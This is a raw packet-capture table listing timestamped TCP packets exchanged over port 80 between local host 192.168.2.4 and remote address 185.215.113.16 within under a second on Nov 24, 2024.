Nov 24, 2024 02:13:39.388664007 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.388727903 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.388758898 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.389641047 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.389679909 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.389750004 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.389790058 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.390666008 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.390707016 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.390780926 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.390824080 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.391711950 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.391755104 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.391819000 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.391860962 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.392733097 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.392771959 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.392843962 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.392889023 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.393785000 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.393825054 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.393882036 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.393918037 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.394794941 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.394834042 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.394901991 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.394941092 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.395852089 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.395889997 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.395952940 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.395987034 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.396866083 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.396908998 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.396976948 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.397155046 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.397888899 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.397928953 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.398000956 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.398037910 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.398938894 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.398994923 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.399034977 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.399075985 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.399960041 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.400007010 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.400065899 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.400104046 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.401014090 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.401057005 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.401124954 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.401158094 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.402048111 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.402092934 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.402148008 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.402189970 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.403072119 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.403115034 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.403187037 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.403228998 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.404143095 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.404181957 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.404253006 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.404294968 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.405159950 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.405221939 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.405277967 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.405317068 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.406177998 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.406219006 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.406286955 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.406322956 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.407341003 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.407385111 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.407443047 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.407485008 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.408220053 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.408257961 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.408375025 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.408411980 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.409269094 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.409312010 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.409375906 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.409414053 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.410304070 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.410342932 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.410410881 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.410446882 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.411319017 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.411361933 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.411559105 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.411597013 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.412369967 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.412411928 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.412477016 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.412513971 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.413402081 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.413445950 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.413513899 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.413548946 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.414433002 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.414479017 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.414544106 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.414586067 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.415457964 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.415493011 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.415570974 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.415612936 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.416518927 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.416562080 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.416593075 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.416634083 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.417521000 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.417565107 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.417593956 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.417632103 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.533396959 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.533476114 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.533518076 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.533572912 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.533902884 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.533931017 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.533945084 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.533971071 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.534936905 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.534954071 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.534989119 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.535005093 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.535940886 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.535986900 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.559796095 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.559855938 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.559921980 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.559989929 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.560306072 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.560332060 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.560348034 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.560370922 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.561093092 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.561136961 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.561213970 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.561256886 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.562150955 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.562206030 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.562252045 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.562292099 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.563168049 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.563211918 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.563354015 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.563399076 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.564255953 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.564301014 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.564341068 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.564378977 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.565351963 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.565367937 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.565397978 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.565408945 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.566278934 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.566349983 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.566382885 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.566422939 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.567292929 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.567346096 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.567487001 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.567528009 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.568336010 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.568375111 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.568461895 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.568501949 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.569380045 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.569426060 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.569504976 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.569545984 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.570396900 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.570444107 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.570513964 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.570557117 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.571435928 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.571481943 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.571546078 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.571585894 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.572469950 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.572515965 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.572590113 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.572629929 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.573502064 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.573544979 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.573616028 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.573649883 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.574537039 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.574587107 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.574625969 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.574666977 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.575628996 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.575656891 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.575679064 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.575700045 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.576590061 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.576636076 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.576708078 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.576746941 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.577630997 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.577675104 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.577756882 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.577795982 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.578648090 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.578691006 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.578772068 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.578811884 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.579693079 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.579736948 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.579871893 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.579911947 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.580723047 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.580773115 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.580785990 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.580818892 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.581799984 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.581844091 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.581934929 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.581974030 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.582787037 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.582829952 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.582897902 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.582941055 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.583816051 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.583861113 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.583935976 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.583976030 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.584851027 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.584897041 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.585066080 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.585104942 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.585903883 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.585943937 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.585998058 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.586035013 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.586914062 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.586958885 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.587080956 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.587124109 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.587955952 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.588015079 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.588057041 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.588109970 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.588979006 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.589030027 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.589088917 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.589128017 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.590010881 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.590054989 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.590121031 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.590161085 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.591053009 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.591099977 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.591160059 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.591227055 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.592129946 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.592196941 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.592232943 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.592297077 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.593128920 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.593169928 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.593221903 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.593265057 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.594136000 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.594178915 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.594270945 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.594314098 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.595194101 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.595238924 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.595303059 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.595346928 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.596210003 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.596255064 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.596342087 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.596383095 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.597239017 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.597280979 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.597338915 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.597378016 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.598275900 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.598315954 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.598375082 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.598412991 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.599322081 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.599364042 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.599518061 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.599555969 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.600429058 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.600480080 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.600481033 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.600519896 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.601368904 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.601432085 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.601473093 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.601511955 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.602408886 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.602451086 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.602576971 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.602615118 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.603465080 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.603511095 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.603564978 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.603602886 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.604480982 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.604528904 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.604675055 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.604718924 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.605520010 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.605568886 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.605602026 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.605642080 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.606538057 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.606580973 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.606794119 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.606834888 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.607599020 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.607639074 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.607713938 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.607757092 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.608625889 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.608668089 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.608701944 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.608741999 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.609635115 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.609680891 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.609720945 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.609761000 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.725369930 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.725425959 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.725456953 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.725501060 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.725888014 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.725929976 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.726006985 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.726044893 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.726957083 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.726998091 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.727004051 CET	49756	80	192.168.2.4	185.215.113.16
